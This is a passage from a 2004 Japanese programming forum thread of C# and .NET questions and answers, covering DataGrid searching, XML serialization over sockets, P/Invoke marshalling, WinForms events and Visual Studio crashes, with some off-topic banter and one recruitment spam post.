04/10/25 22:49:21
>>437
レスありがとうございます。
検索の方法はコンボボックスのテキストから
ループさせて毎回比べるようなやり方で検索しています。

for (int i = 0; i <= DataGrid1.Rows.Count - 1; i++)
{
string s = DataGrid.Rows[i].Cells[0].Value.ToString();
int a = s.IndexOf(sStripPanel1.Text);
if (a!= -1)
{
結果表示
}
}

意味不明なことしてたらすみません。。。
RegexクラスのIsMatchでもやってみたんですけど
正規表現に使うらしい文字列?を入力するとエラーが出ました。

440:デフォルトの名無しさん
04/10/25 23:03:42
>>439
>  for (int i = 0; i <= DataGrid1.Rows.Count - 1; i++)
最後のRowはチェックしないのな。

String.IndexOfは正規表現由来のメタ文字なんか考慮しない。
"abc[def]g".IndexOf("[d")は3を返す。

//まあ相談室スレの487-488みたいなUnicode由来の(と思われる)問題はあるようだけど。

実際にsStripPanel1.TextとDataGrid.Rows[i].Cells[0].Value.ToString()を表示させてみたら?
sStripPanel1.Textが意外な文字列になってる可能性がある。
念を入れてBitConverter.ToString(Encoding.Default.GetBytes(sStripPanel1.Text))とかでバイト単位でチェックする。

441:デフォルトの名無しさん
04/10/25 23:15:18
>>440
どうもありがとうございます。
>最後のRowはチェックしないのな。
します、直します( ´Д⊂ヽ
IndexOfで普通にできるのが分かっただけでも良かったです。
たぶん自分の書いたコードが相当おかしいのが原因だと思います。。。
色々やってみます。ありがとうございましたm(_ _)m

442:デフォルトの名無しさん
04/10/25 23:30:28
非ビジュアルなコンポーネントを作りたいのですが、
書籍かWEBで適当な入門書があったら教えてください。

C#によるコンポーネントプログラミング
URLリンク(www.amazon.co.jp)
にはビジュアルなコントロールの作り方しか載っていませんでした。

よろしくお願いします。

443:デフォルトの名無しさん
04/10/26 00:06:51
>>442
そりゃ漠然としすぎてて書きようがないからじゃないかなぁ。

URLリンク(www.microsoft.com)
ms-help://MS.VSCC/MS.MSDNVS.1041/vbcon/html/vbconComponentAuthoring.htm

を参照にする。
まあ、Componentを継承させときゃいいよ、うん。

444:在日外国人参政権反対
04/10/26 00:13:31
>442
.NETライブラリみたいに複数のプログラムで使いたいってことじゃないの?

445:デフォルトの名無しさん
04/10/26 00:31:58
>>443
ありがとうございます。
ざっとみたところ、本当にComponentを継承するだけで良さそうですね。素晴らしい。

>>444
いえ、提供されているCOMがあるのですが、使い勝手がイマイチなので、
ラッパーコンポーネントを作ろうと思っています。

446:デフォルトの名無しさん
04/10/26 01:11:52
DataTableをdataGrid.DataSourceに設定して、
dataGridのセルがクリックされたときに元のDataTabeのどのRowにあたるか、
見つける方法ないですか?
ソートされちゃうと順番変わってわけわかめ。でも自動ソート機能は欲しい。


447:446
04/10/26 01:14:57
Windows.FormsのDataGridです。

448:デフォルトの名無しさん
04/10/26 01:59:00
>>446
dataGrid.DataSource.Rows[dataGird.CurrentRowIndex];

つか設計おかしいよ。順番気にしてる時点で。

449:デフォルトの名無しさん
04/10/26 02:08:15
>>448
わけあってDataGridをListViewのように使ってるんです。

で、残念ながらそのコードだと、ソート前のDataRowしか取れませんでした。


450:デフォルトの名無しさん
04/10/26 02:24:19
あー、そういうことか。
主キーのところの値が完全一致するのを探せば良いんじゃない?
//カラムの並びを入れ替えられるとお手上げかな。

451:デフォルトの名無しさん
04/10/26 02:46:42
>>450
やっぱりそういう力技しかないんですね・・・。カラムの並び替えは無しの方向でやってます。
ありがとうございました。


452:デフォルトの名無しさん
04/10/28 00:49:32
>>446
CurrencyManagerを使えばできないかな

453:デフォルトの名無しさん
04/10/28 00:56:18
ふとどぼんを見に行ったらこんなのもあったが。
URLリンク(dobon.net)

454:デフォルトの名無しさん
04/10/29 13:04:24
Socket.Send()を利用するため、XmlSerializerでシリアル化したオブジェクトをバイト配列にコンバートして
Send()につっこみたいのですが、XmlSerializerの引数はstream用でバイト配列にする方法が見つかりません。
やっぱできないのでしょうか。。。。

455:デフォルトの名無しさん
04/10/29 13:15:50
MemoryStream ms = new MemoryStream();
xmlSerializer.Serialize(ms, obj);
byte[] bytes = ms.ToArray();
socket.Send(bytes, 0, bytes.Length);

ということかな?

456:デフォルトの名無しさん
04/10/29 13:18:23
>>454
MemoryStream

457:デフォルトの名無しさん
04/10/29 13:20:12
455のsocket.Send、パラメータをStream.Writeと勘違い……。

458:454
04/10/29 14:29:46
>>455,456さん
ありがとうございます、MemoryStreamをつかうんですね
ためしてみます(`・ω・´)

459:デフォルトの名無しさん
04/10/29 22:47:34
.net2で質問なんですけど、、、
this.TopMost = !this.TopMost;
とやると常に手前にしたときにメインメニューのドロップダウンの部分が
フォームの下に隠れちゃうんですけど何がいけないんでしょうか。。。?

460:デフォルトの名無しさん
04/10/29 23:58:23
Visual Studioで使われているようなタブコントロールを作りたいのですが、
あれはSystem.Windows.Forms.TabControlからの継承で作れるものなのでしょうか。

サードパーティ製のものもあるにはあるのですが、
せっかくなので自分で作ってみたいのです。

461:在日外国人参政権反対
04/10/30 01:16:55
>460
自分で気合で描画することを進めます。

462:454
04/10/30 17:42:20
たびたびすいません、454です
>>455を参考にやってみましたが、うまくいかず(´・ω・`)

デシリアライズはこれでいいんですよ・・・ね・・・?

MemoryStream msRead = new MemoryStream();
XmlSerializer readSerializer = new XmlSerializer(typeof(Obj);
msRead.Write(byteAry,0,byteAry.Length);
Obj obj = (Obj)readSerializer.Deserialize(msRead);
msRead.Close();

463:デフォルトの名無しさん
04/10/30 17:46:03
>>462
MemoryStream msRead = new MemoryStream();
XmlSerializer readSerializer = new XmlSerializer(typeof(Obj);
msRead.Write(byteAry,0,byteAry.Length);

msRead.Position = 0;      // コレ追加よろ

Obj obj = (Obj)readSerializer.Deserialize(msRead);
msRead.Close();

464:454
04/10/30 17:52:28
>>463
おぉぉ、うまくいったー
ありがとうございます
Position指定必要だったんですね・・・・まったく気づかなかった(つД`)

465:デフォルトの名無しさん
04/10/30 18:26:25
>>461
ちまちまやってみますわ。

.net 2.0になっても各種コントロールはショボイままだった…。
幾つか良くなったのもあるけど。

466:デフォルトの名無しさん
04/10/30 21:12:36
CSVから読み込んで、datasetに収まってる
7995.005229
とかを少数以下は無視していいのでintにしたいのですがどうすればいいですか?
Convert.Tointが使えなくて困ってます。(少数いかにも数字があるから?)

467:デフォルトの名無しさん
04/10/30 21:14:38
>>466
doubleにしてからintに落とせば?

468:デフォルトの名無しさん
04/10/30 21:16:36
>>465
基本的に言語のライブラリはOSが提供するUIに口出ししないし、するべきではありません。
そういうのはサードパーティの仕事です。

469:デフォルトの名無しさん
04/10/30 21:21:44
そのサードパーティのライブラリでよく使われる?ActiveReport
やFlexGridなどの解説本を探してみたのだが、全然見つからないね。

ヘルプだけ見て使いこなせということなんだろうか。


470:466
04/10/30 22:10:21
>>467
いけました。ありがとうございました

471:デフォルトの名無しさん
04/10/30 23:28:29
>>468
まぁ今の".NET Framework"はそうかもしれないけど、
いずれWindowsのAPIになっていくわけでしょ。

そうするとやっぱりWindowsが提供するネイティブコントロールは
しょぼいってことになるわけで、そろそろどうにかならないものかとは思う。

472:デフォルトの名無しさん
04/10/30 23:36:02
>>469
VS標準のCrystalReportも日本語だとあまり情報ないよね。

仕事で作るような帳票類はGDIでゴリゴリ書いてる時間ないから
しかたなく使ってるけど、正直"たぶんこうやって使うんだろう"の世界。

473:在日外国人参政権反対
04/10/30 23:48:30
>468
Windows.Formsにまとめてるのはその意図を汲んでのことだろう。
だからこそそれを拡充させてほしい気はする。

474:デフォルトの名無しさん
04/10/30 23:58:33
リストボックスから条件に見合ったオブジェクトを削除したいのですが、

foreach ( UserList logoutUser in listBox1.Items )
{
if ( recMessage.TargetUserID == logoutUser.UserGuid )
{
listBox1.Items.Remove(logout);
}
}

と書くと

System.InvalidOperationException:
この列挙子が連結されている一覧は変更されています。
列挙子は、一覧が変更しない場合に限り使用できます。

とゴルァされるのですが、いい方法ないでしょうか・・・。

475:デフォルトの名無しさん
04/10/31 00:01:00
あ、最後のところRemove(logoutUser)でつ

476:デフォルトの名無しさん
04/10/31 00:04:54
そりゃ列挙中に肝心の列挙するコレクションが変わってしまっては話にならないだろ。
forで回してやるとかしな。

477:474
04/10/31 00:13:16
ありがとうございました。
1回ブツが釣れれば十分なのでbreakかましたらうまくいきました

吊ってきますorz

478:デフォルトの名無しさん
04/10/31 12:12:15
「すれ立てるまでもない質問・・・」に書き込んだら怒られてしまいました。
同じ内容ですが、こちらに書かせてください。

VS.NetのC#でプログラム作ってるんですが、データセットから
テキストボックスにバインドする方法が分からないんです。
といっても、よくあるデータテーブルの列単位でバインドするやり方ではなくて
データテーブルのある条件に合致するレコードの項目をバインドしたいんです。

例えば

Key 列1    列2
001 1AAA 1BBB
002 2AAA 2BBB
003 3AAA 3BBB
004 4AAA 4BBB
005 5AAA 5BBB

みたいなデータテーブルから、TextBoxにはKey=003の条件によって
列1の内容(3AAA)をバインドしたいんです。
もちろん、バインドするからには変更結果も反映されていてほしいんですが・・・

お願いします。


479:デフォルトの名無しさん
04/10/31 18:21:08
ふと思ったんですけど、

using System.Windows.Forms;

という感じにしておいた部分を

using System.Windows.NewForms;

とかに書き換えることで、クラス構成をそっくり新しくする事って邪道ですか?

480:デフォルトの名無しさん
04/10/31 18:22:36
オレ的には邪道

481:デフォルトの名無しさん
04/10/31 19:07:04
>>479
その場合、

using System.Windows.Forms;

using No479.Windows.Forms;

みたいに企業名(Systemの部分)を変えたほうがいいんじゃないか。

URLリンク(www.microsoft.com)

482:479
04/10/31 19:11:46
>>481
ちゃうちゃう

System.Windows.Forms と System.Windows.NetForms の中に、
型は同じだけど挙動の異なるクラスがあったときに、
using 文でどちらを採用するか切り替えるのは邪道かな?って事

483:479
04/10/31 19:12:21
>>482
別に名前空間名はなんだって良いんだが

484:デフォルトの名無しさん
04/10/31 20:48:00
>>482
そういうクラスが大量にあるソースを目の前にしたときに激しい絶望感に襲われるのでやめてください。
using書いてるのにnamespaceフルに書いて別のnamespaceのクラスを使用されたりして混沌に拍車がかかったりします、してます……

485:479
04/10/31 20:52:06
何となく分かりました。皆さんも回答有難う御座います

>>484
がんがって下さい orz

486:デフォルトの名無しさん
04/10/31 20:57:35
>>484
using Hoge = System.Windows.Forms;
Hoge.Form = new Hoge.Form();
で随分楽になると思うけど。

まあ479みたいなのは見たくもないと言うのはよく分かる。

487:デフォルトの名無しさん
04/11/01 02:18:40
>479
そういうののためにAbstractFactoryとかあるとおもうのだけど。
あれは切り替えできるとともに、システム上での選択肢をひとつに強制するという使い方でもある。
ソースごとにusingで切り替えられるのは>>484のいうとおりたちの悪いバグの元。

488:デフォルトの名無しさん
04/11/02 04:49:20
FormクラスのActivate()メソッドを使用してます
>>アクティブなアプリケーションであるフォームをアクティブにした場合は、そのフォームが最前面に移動します。
>>アクティブなアプリケーションではないフォームの場合は、そのフォームのウィンドウ キャプションが点滅します。

とあるのですが、他のアプリケーションに切り替えてるときにこのメソッド呼び出されると、最前面に来る場合があるのですが、
他のアプリケーションにフォーカスしている ≠ その他のアプリケーションのフォームがアクティブである
ということなのしょうか・・・?

MSNメッセンジャーのように、通知が来たときに点滅するだけでいいのですが、
これってWin32API叩くしかないんでしょうか・・・。




489:デフォルトの名無しさん
04/11/02 09:28:31
>>488
なるねー。
.NET2.0ならFlashメソッドってのがあるんだけど。

490:488
04/11/02 14:36:14
1.1じゃムリかなぁ(つД`)

491:デフォルトの名無しさん
04/11/02 17:24:17
VSの画面にはドッキングウィンドウなどありますが、あのコンポーネントは何処にありますか?
あの画びょうのマークのついたドッキングウィンドウ・コンポーネントと、
プロパティを設定するためのコンポーネント(VS右下の、Nameとか設定できる奴)を
探していますが見つからない。

492:デフォルトの名無しさん
04/11/02 17:36:37
>>491
とりあえず
>  プロパティを設定するためのコンポーネント(VS右下の、Nameとか設定できる奴)を
はPropertyGridだな。こいつは.NET Framework標準。

ドッキングウィンドウは……the Code Projectにあったようななかったような。

493:デフォルトの名無しさん
04/11/02 18:59:20
richTextBox1.AppendText( recMessage.ToString() + " : " + recMessage.Message + "\r\n" );

richTextBox1.AppendText( recMessage.ToString() + " : " /* + recMessage.Message + "\r\n" */);
string[] splString = recMessage.Message.Split(new char[] {'#'});
for ( int count = 0 ; count + 1 <= splString.Length ; count++ ){
if ( count != 0 ){
String colorCode = splString[count].Substring(0,1);
switch ( colorCode ){
case "1":
richTextBox1.SelectionColor = System.Drawing.Color.Blue;
richTextBox1.AppendText(splString[count].Substring(1));
break;
(中略)
default :
richTextBox1.AppendText(splString[count]);
break;
}
}else{
richTextBox1.AppendText(splString[count]);
}
}
richTextBox1.AppendText("\r\n");
}
にしたところ、エラー音が出るようになりました(処理は正常に行われてるっぽい) なぜでしょう・・・?

494:デフォルトの名無しさん
04/11/02 23:03:59
>>491
DockPanelSuite URLリンク(sourceforge.net)
無償でオープンソース。現在ベータ版で、メニューの統合がうまくいかないなどバグが残る。

DotNetMagic URLリンク(www.dotnetmagic.com)
機能的にはおそらく最強。でも有償。

MagicDocking URLリンク(www.codeproject.com)
DotNetMagic の旧バージョン。ライセンスはよくわからん。
SharpDevelopに使われるなど実績あり。

Docking Suite URLリンク(www.divil.co.uk)
現在ベータ版。非商用利用に限り無償。

代表的なところでは、こんなものか。見た目や動きが微妙に違うので、実際に使ってみて選んだ方がいい。

495:デフォルトの名無しさん
04/11/03 10:49:11
鯖から非同期に送られてきたデータをバックグラウンドで取得し、イベントとして通知するようなライブラリ作ってます

1:TcpClient を使っているとき、サーバから切断されたことをすぐに知るにはどうすればいいか
2:異常切断されたときイベントなどで通知することを考えているが、
  通常切断したときも同じイベントを発行したほうがライブラリを使う側にとって便利なのかどうか

ちょっとアンケートがましいですが意見をお聞かせくださいm(_ _)m

496:デフォルトの名無しさん
04/11/03 12:41:36
プログラム歴2ヶ月で答えると叩かれそうだが・・・

1,
byte[] byteAry = 受信データ;
if ( byteAry.Length <= 0 )
{ パイプカット }

2,
ライブラリがエラーの処理をどこまでするかによるんじゃないでしょうか

でしゃばってスマソ

497:デフォルトの名無しさん
04/11/03 23:25:41
>495
1.物理的に切断を瞬間的に不可能。
  TCPのキープアライブ使ってもいいが融通がきかん、自分でキープアライブパケット投げるようにしておけ。
2.同じイベントでも(・∀・)イイ!!が、通常なのか異常なのかわかるようにしておけ。エラー原因などもプログラムで扱えるよう定義してふんだんな情報を送っておけ
  
以上。

498:杏仁
04/11/05 17:39:49
 最近C#を始めました。良く分からないので質問させてください。
いま、Cで作成されたDLLをDllImportで呼び出しています。
 そのDLLの仕様を見ると関数は

  void hoge(UINT *pWidth, UINT *pHeight);

 とポインタで呼び出していました。

[DllImport("hogehoge.dll")]
public static extern void hoge(int w, int h);

としても当然うまくいきませんでした。
C#でこのような場合ようやってDllImportすればいいのでしょうか?
お手数ですが、お教えください。よろしくお願いします。





499:デフォルトの名無しさん
04/11/05 17:46:06
>>498
ref System.UInt32 にする。
(まぁ小さげな値だろうから ref System.Int32 でもいいだろうけど)

500:デフォルトの名無しさん
04/11/05 17:53:35
System.IntPtrで外部関数のパラメータを定義し
System.Runtime.InteropServices.Marshal.AllocCoTaskMemでメモリを確保、
System.Runtime.InteropServices.Marshal.WriteInt32で確保したメモリに書き込み、
関数に渡す。
結果をSystem.Runtime.InteropServices.Marshal.ReadInt32で読み込んで
System.Runtime.InteropServices.Marshal.FreeCoTaskMemでメモリを破棄する。

uint*程度でやる事じゃありません。

501:デフォルトの名無しさん
04/11/05 17:58:17
関数がどんな性質なのかにもよるんだよなー。

これがよくもあり悪くもあり。

502:杏仁
04/11/05 18:34:05
 回答ありがとうございます。

>>499
> ref System.UInt32 にする。

[DllImport("hogehoge.dll")]
public static extern void hoge(ref System.UInt32 w, ref System.UInt32 h);

ということでしょうか?この場合、どうやって呼び出せばいいのですか?
int w=0;
int h=0;
hoge(w,h);
としてもうまくいきません。


>>500
回答していただいたのにさっぱり・・・。
もう少し分かりやすくお願いできますでしょうか?
 最近始めたばかりで、さっぱり右も左も分からない状態です。
  よろしくお願いします。


503:デフォルトの名無しさん
04/11/05 18:39:42
>>502
ヘルプでrefキーワードぐらい調べようよ~。
呼び出す時もrefキーワードが必要。
hoge(ref w, ref h);

500はただのジョークだから。こんな手段もあるよってだけ。
//と最後の行で言ったつもりだったんだけど。

504:デフォルトの名無しさん
04/11/05 19:04:46
>>502
蛇足の補足。たぶんこの場合は関係ないだろうけど、ポインタ値が指す領域にある値だけではなく、
そのものに意味がある場合には、System.IntPtr 型にしておいて、ポインタの指す先のアクセスは
>>500 風にやるようなこともある、ってのが >>501 ね(たぶん)。

例えば hoge の正体が hoge(UINT* w, UINT* h) { delete [] w; delete [] h; } みたいな場合とか。

505:デフォルトの名無しさん
04/11/05 19:05:31
>>そのものに意味がある
 ↑
「ポインタ値そのものに意味がある」の編集ミスですた。

506:デフォルトの名無しさん
04/11/06 00:54:32
this.pictureBox1.MouseWheel += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseWheel);
private void pictureBox1_MouseWheel(object sender, MouseEventArgs e)
{
Console.WriteLine(e.Delta);
}
と記述してるのですが、マウスホイールくるくるしてもpictureBox1_MouseWheelイベントが発生してくれません。

そもそもなんで、MouseWheelだけは手動で書かないといけないのかと(ry

507:デフォルトの名無しさん
04/11/06 01:01:47
>>506
Console.WriteLine();を、MessageBox.Show("","");
にしても駄目?

508:506
04/11/06 01:08:21
だめっぽいです
ブレークポイントしかけても反応してくれません。
Panelの上に張ってるのでPanelにもイベントハンドらを記述したのですが
どっちもイベントが発生しないみたいです。



509:デフォルトの名無しさん
04/11/06 01:10:57
>>508
>Control.MouseWheel イベント
> コントロールにフォーカスがあるときにマウス ホイールが動くと発生します。

PictureBoxやPanelはユーザの通常操作ではフォーカスを得る事はない。

510:508
04/11/06 01:18:35
なるほど。 
Mouse_EnterしたらFocus()するようにするとうまくいきました。
お騒がせしました。

511:デフォルトの名無しさん
04/11/06 18:29:40
今C#の文法書を読んで勉強中なんですが
文法などを一通り理解したら次は何をすべきなんでしょうか?
guiアプリケーションを作れる人は文法などを理解したら次は何をしたんですか?


512:デフォルトの名無しさん
04/11/06 18:32:41
作りたいアプリを作りつつ
GUIパーツをいろいろ試したり細かいプロパティ・メソッドを調べたり
非GUIなクラスの使い方を覚えたりどんなクラスが存在するのかを調べたり。

513:デフォルトの名無しさん
04/11/06 18:32:45
>>511
作りたいものを作れ。手を動かせ。
「習うより慣れろ」ということわざがあるが、
プログラミングの場合「習ったら慣れろ」ってところか。

514:デフォルトの名無しさん
04/11/06 18:41:15
わからないことがあったらここに質問しにきていいんですかね?
タブ型メモ帳を作ろうとしてお世話になったのが自分なのですが。
MSDNライブラリをみながら作るだけではちょっとムリがあるかなと思いました。


515:495
04/11/06 20:36:09
>>496-497
亀ですが㌧くすです。

む~。実際にデータ送らないと切断検出できないですか~。
送信、受信が別スレッドに分かれているんで、リターンを待つ同期に一苦労^-^;

516:デフォルトの名無しさん
04/11/06 20:44:40
>>515
送信と受信を一つのスレッドでやるとエライ事になるよw
あとTcpClientは結構ゴミだからクライアントアプリでもSoket使った方がいいかも。

517:495
04/11/06 20:51:11
>>516
>クライアントアプリでもSocket
具体的にどのような点が優れているんですか?
ちょっとワカラン orz

518:デフォルトの名無しさん
04/11/06 20:58:32
>>517
NetworkStreamでしか送受信出来ない、細かい制御(受信側のみ切断とか)も出来ない
ついでに非同期送受信も出来ない・・・
TcpClientで作っても後々書き直すことになると思うw

519:495
04/11/06 21:00:06
>>518
ラジャ^-^;

520:495
04/11/06 21:01:24
あ~送受信系統を1つのクラスに押し込めて置いてよかったw
このクラスの中身だけ変えればおkだわ

521:デフォルトの名無しさん
04/11/06 22:26:52
URLリンク(do.sakura.ne.jp)

こんな感じで送受信してます、たまにデータが続けざまに来るとエラーでるんですが、どうしたらよいでしょう・・・。

522:デフォルトの名無しさん
04/11/07 00:13:29
えーと・・・
BeginReceiveしてEndReceiveした後は、また非同期受信するなら再度BeginReciveしないと駄目なような・・・
それにこの用途ならNetworkStream使った方が楽かも・・・(俺ならそうするw)

あと、一度の受信でバッファ全部捨ててるけど、
非同期受信は何バイト受信するかわからないから、先取りしたデータは捨てるんじゃなくて
プールしてその上でさらにバッファを貯めるみたいにすべき。

あと(ぉ終了処理はShutdownの後でCloseしよーw

523:521
04/11/07 01:12:53
了解です!(BeginRecieveするメソッドにソケット渡し忘れてた・・・(/ω\))
NetworkStream調べてみます~

>あと、一度の受信でバッファ全部捨ててるけど、
>非同期受信は何バイト受信するかわからないから、先取りしたデータは捨てるんじゃなくて
>プールしてその上でさらにバッファを貯めるみたいにすべき。

int recBytesSize = socket.EndReceive( ar );
↑で受信データサイズ抜いた時点で必要とするbyte配列は確定してない・・・ということですか?

524:495
04/11/07 16:00:26
何か似たような事やっている人がいるなぁ ^-^;
おまいは俺か?

525:杏仁
04/11/07 21:51:38
>>498-503
ありがとうございました。おかげで動作しました。
もう一つ質問なのですが、DLLの仕様を見ると
 BYTE *HOGE()
という関数があります。
この場合は、どうやって呼び出せばいいでしょうか?
よろしくお願いします。


526:521
04/11/07 21:56:34
>>495
あなたの子よ!認知してよ!

非同期NetworkStreamのサンプル見つからない(MSDNのだと断片的でわからず・・・)

527:デフォルトの名無しさん
04/11/07 22:04:54
ところで Bigin~ したら必ず End~ しなきゃいけないの?
やりっぱなしじゃ駄目?

528:527
04/11/07 22:05:19
凄く打ち間違い orz

529:デフォルトの名無しさん
04/11/07 22:16:49
ランダムにping送って、応答があった場合、応答先のPCのNICのMACアドレスを取得する方法ってありますか?

530:デフォルトの名無しさん
04/11/07 22:34:26
よく分からないけど通報しますた

531:デフォルトの名無しさん
04/11/07 22:55:54
ブロードキャストがしたいんじゃないかな…

532:デフォルトの名無しさん
04/11/07 22:57:25
ARPのことなのだろうか・・・・

それとも今世界のどこかから自分のMAC抜かれたいのだろうか

533:デフォルトの名無しさん
04/11/07 23:21:05
マックでバーガー三つ買って来るか・・・ハァ・・・

534:デフォルトの名無しさん
04/11/07 23:38:51
漏れのもたのむ

535:デフォルトの名無しさん
04/11/07 23:55:40
>529
pingパケットにその情報があるか見てみれば?

536:デフォルトの名無しさん
04/11/08 00:14:47
C#のクラスを継承してManageC++のクラスを作りたいんですが、
メンバ関数のオーバーライドがうまくいきません。

C#のクラス↓
public abstract class ClassCS
{
public abstract void Func(ref int c);
}

void FuncC(int __gc& C) や void FuncC(int &C) ではだめでした。
この関数FuncをオーバーライドするにはC++でどのように記述すればいいんでしょうか?





537:デフォルトの名無しさん
04/11/08 01:38:42
>>525
それはもう関数次第としか言えない。
>500みたいなことをする可能性が高いが。

>>536
ええとポインタを引数に取るんだからvoid FuncC(int* c)じゃないのかな。

538:デフォルトの名無しさん
04/11/08 02:37:53
>>535
それだと、同一ネットワーク内ならOKだけど、L3装置かましたときに中継点のMACになるような

539:杏仁
04/11/08 10:14:41
>>537
>それはもう関数次第としか言えない。
 画像バッフアのアドレスが格納されて帰ってくる関数みたいなのですが・・。

> >500みたいなことをする可能性が高いが。
・・・・。大変そうですね。私にできるかどうか・・・。
 サンプルとか参考になるサイト等ありますでしょうか?

540:デフォルトの名無しさん
04/11/08 13:18:34
>>539
関数次第なんだからサンプルも何もないと思うけど?

541:デフォルトの名無しさん
04/11/08 13:32:01
>>539
 unsafe で IntPtr を byte* にでもキャストして、画像バッファのメモリをアクセスすれば良いと思う。
メモリの中身にアクセスする必要がないなら、IntPtr で受け取っておいて、他に渡す必要があるなら
また IntPtr で渡してあげるだけ。

Susie のプラグインを C# から使いたいとか、そういうことですか?

542:杏仁
04/11/08 15:20:19
>540 541
 解答ありがとうございます。
 ん~。勉強不足で折角の解答の意味があまり理解できずに申し訳ありません。
 とりあえず、IntPtrをもう少し勉強してみます。

>Susie のプラグインを C# から使いたいとか、そういうことですか?
画像入力ボードのDLLを使って画像の取り込みを行いたいと思っています。


543:デフォルトの名無しさん
04/11/08 16:15:09
此処で質問して良いのかどうか、ちょっと不安なのですが・・・

現在、既存システム(C+VB6)をC#で移植しています。
既存システムはVB6でユーザインターフェースを作り、
CでDLLを作って、VB6からDLLを呼び出しています。

VB6のインターフェース部分は特に問題無くC#に移植できたのですが、
Cで作ったDLLの関数が結構多く、またC#から呼び出すのも厄介な状況です。

MSの技術情報でWin32APIと.NETFrameworkの対応表で幾つかはそのままC#で実装しましたが、
残りのDLL関数をManagedC++でDLLを再度作り直し、そのDLLをC#から直接使う事になりました。

そこで質問なのですが、ManagedC++でSTLのmapを使いたいのですが、
コンパイル時にエラーとなってしまいます。
ManagedC++ではSTLなどテンプレートを使う事はできないのでしょうか?
また、ManagedC++で作った関数で、.NETのHashtableなどを返す関数は作れないのでしょうか?

544:デフォルトの名無しさん
04/11/08 16:22:06
>>543
managed C++ やろうぜ!!
スレリンク(tech板)

//沈んでるなぁ……。

545:536
04/11/09 00:34:22
>>537
>ええとポインタを引数に取るんだからvoid FuncC(int* c)じゃないのかな。
返答ありがとうございます。
試してみましたが、うまくいかないようです。

自分でもいろいろ試してみて、Manage C++側はFunc(int __gc &c)になるはずだと思ったんですが、
下のプログラムを実行すると『抽象クラスまたはインターフェイス 'CPP.CPP' のインスタンスを作成できません。』といったエラーが出ます。
CPPのFuncをオーバーライドできてないってことだと思うんですが、どうすればちゃんとオーバーライドできるんでしょうか?

Manage C++↓
namespace CS
{
public abstract class CS
{
public abstract void Func(ref System.Int32 c);
}
}

C#↓
namespace CPP
{
public __gc class CPP : public CS::CS
{
public:
void Func(int __gc &c){}
};
}

static void Main(string[] args)
{
CS.CS S = new CPP.CPP();
}

546:デフォルトの名無しさん
04/11/09 01:08:36
突然ですがお知らせです。

大阪(西梅田)、新宿(JR駅前)のそれぞれ一等地に
拠点を構え、業績急上昇中!未経験者大募集中!の
ソフトウェア開発会社
グリーンシステムを応援するHPです。
URLリンク(www.geocities.jp)

このスレの読者の人のような、レベルの高い人にぴったりかと
思います。

最高の会社にするため、みんな頑張ってます!


547:デフォルトの名無しさん
04/11/09 01:16:15
このスレの読者の人のような、デンパレベルの高い人にぴったりかと
思います。

最高の会社にするため、みんな頑張って2chに投稿してます!

548:デフォルトの名無しさん
04/11/09 02:02:26
>>546
俺はチョコレート嫌いでチーズケーキ好きだから無理ぽ(´・ω・`)

549:デフォルトの名無しさん
04/11/10 14:32:04
以前からよくVisualStudioがポコポコこける原因が判ったのですが、
その原因というのは、ソリューション中にControlのプロジェクトと
利用するアプリの複数のプロジェクトを作って
アプリのプロジェクトからControlのプロジェクトを参照して、
Controlのプロジェクトのコントロールをツールボックスにいれると頻繁に落ちます。
VisualStudio からしてみれは参照しているコントロールを突如更新されては堪らないというのは分るのですが
TestツールのNUnitでも外部から書き換えを検出して見事にやっているので、
更新している本人の VisualStudio にできないはずが無いだろうと思うのですが、できていないようです。

結局コントロールのDLLは別のソリューションで作って解決したのですが、まとめてビルドできなくて結構不便です。
誰かこうしたら便利だ!!
って方法がある人がいたら教えてくださいです。


550:デフォルトの名無しさん
04/11/10 14:37:21
>>549
同じような事したことあるけど、VSがポコポコ落ちるような事なかったけどなぁ・・・

他の開発環境のせい?
それともマシンの性能?
やっぱり、日頃の行い?

551:デフォルトの名無しさん
04/11/10 15:03:12
>>550
ほんと?
相当やりこんでほぼこれだと特定した物なんだけど……

552:デフォルトの名無しさん
04/11/10 15:05:09
漏れも未体験だな。

553:デフォルトの名無しさん
04/11/10 15:08:17
すんません、
その問題おこらないソリューション一式をアップローダに上げてもらえませんか?
もしこれが原因でないとすれば、かなり悩みます。

554:デフォルトの名無しさん
04/11/10 15:17:40
>>553
そんなソリューション一式、アップできると思うのか?
会社でやってる仕事のものなら、特に上げられない。

新手の産業スパイかなにかですか?
買うと言うなら送りますよ。
勿論、ソースから何から。
ドキュメントは要らないだろうから、値引きするけど、それでも数百万は貰うよ?

555:デフォルトの名無しさん
04/11/10 15:22:09
>>554
もちろん全部上げろという意味じゃないですよっ、そんなの当たり前です
そんなものアップできるほど小さくも無いでしょうし、見る側のこっちもたまりません。
最低限でって話ですよ。
てゆうかアンタただの煽りでしょ。

556:デフォルトの名無しさん
04/11/10 15:23:35
どうやったら再現できるのか知りたいくらいだw

557:デフォルトの名無しさん
04/11/10 15:24:04
>>554
きちがい?

558:デフォルトの名無しさん
04/11/10 15:26:22
取りあえず再現"する"最低限のソリューションから検証してみるべきだな。

559:デフォルトの名無しさん
04/11/10 15:27:44
煽りはお腹いっぱい、もういいです。

560:デフォルトの名無しさん
04/11/10 15:33:38
ま、553もかなり人に面倒を押し付けているな。
最低限に切り分けてアップローダにアップしろと。

561:デフォルトの名無しさん
04/11/10 16:06:17
ていうか549=553=559が釣りにしか見えない。

562:デフォルトの名無しさん
04/11/10 16:08:12
1台のPCで、仮想デリゲート串みたいなこと出来ませんか?

563:デフォルトの名無しさん
04/11/10 16:10:05
たぶん >>549 のコントロールが、DesignMode 見て適切な処理をしていないってあたりに一票。


564:デフォルトの名無しさん
04/11/10 16:12:56
          \   ∩─ー、    ====
            \/ ● 、_ `ヽ   ======
            / \( ●  ● |つ
            |   X_入__ノ   ミ   そんなエサで俺様がクマー!!
             、 (_/   ノ /⌒l
             /\___ノ゙_/  /  =====
             〈         __ノ  ====
             \ \_    \
              \___)     \   ======   (´⌒
                 \   ___ \__  (´⌒;;(´⌒;;
                   \___)___)(´;;⌒  (´⌒;;  ズザザザ
                                (´⌒; (´>>

565:デフォルトの名無しさん
04/11/10 16:53:29
つうか、普通はちゃんと動作する最小限のものをアップするんじゃなくて、
依頼者の”動作しない”最低限のものをアップするのが筋じゃないか?

でもって、それを他の奴等が正常に動作するなら、PC環境が原因かもしれない。
他の奴も異常な動作をするなら、ソリューリョンが原因かもしれない。

とりあえずは動作しない最小限のソリューションをアップして、
そのソリューションのどの部分をどう変更したらVSが落ちるのかを明記しろ。
話はそれからだ。

566:デフォルトの名無しさん
04/11/10 18:36:46
>>565
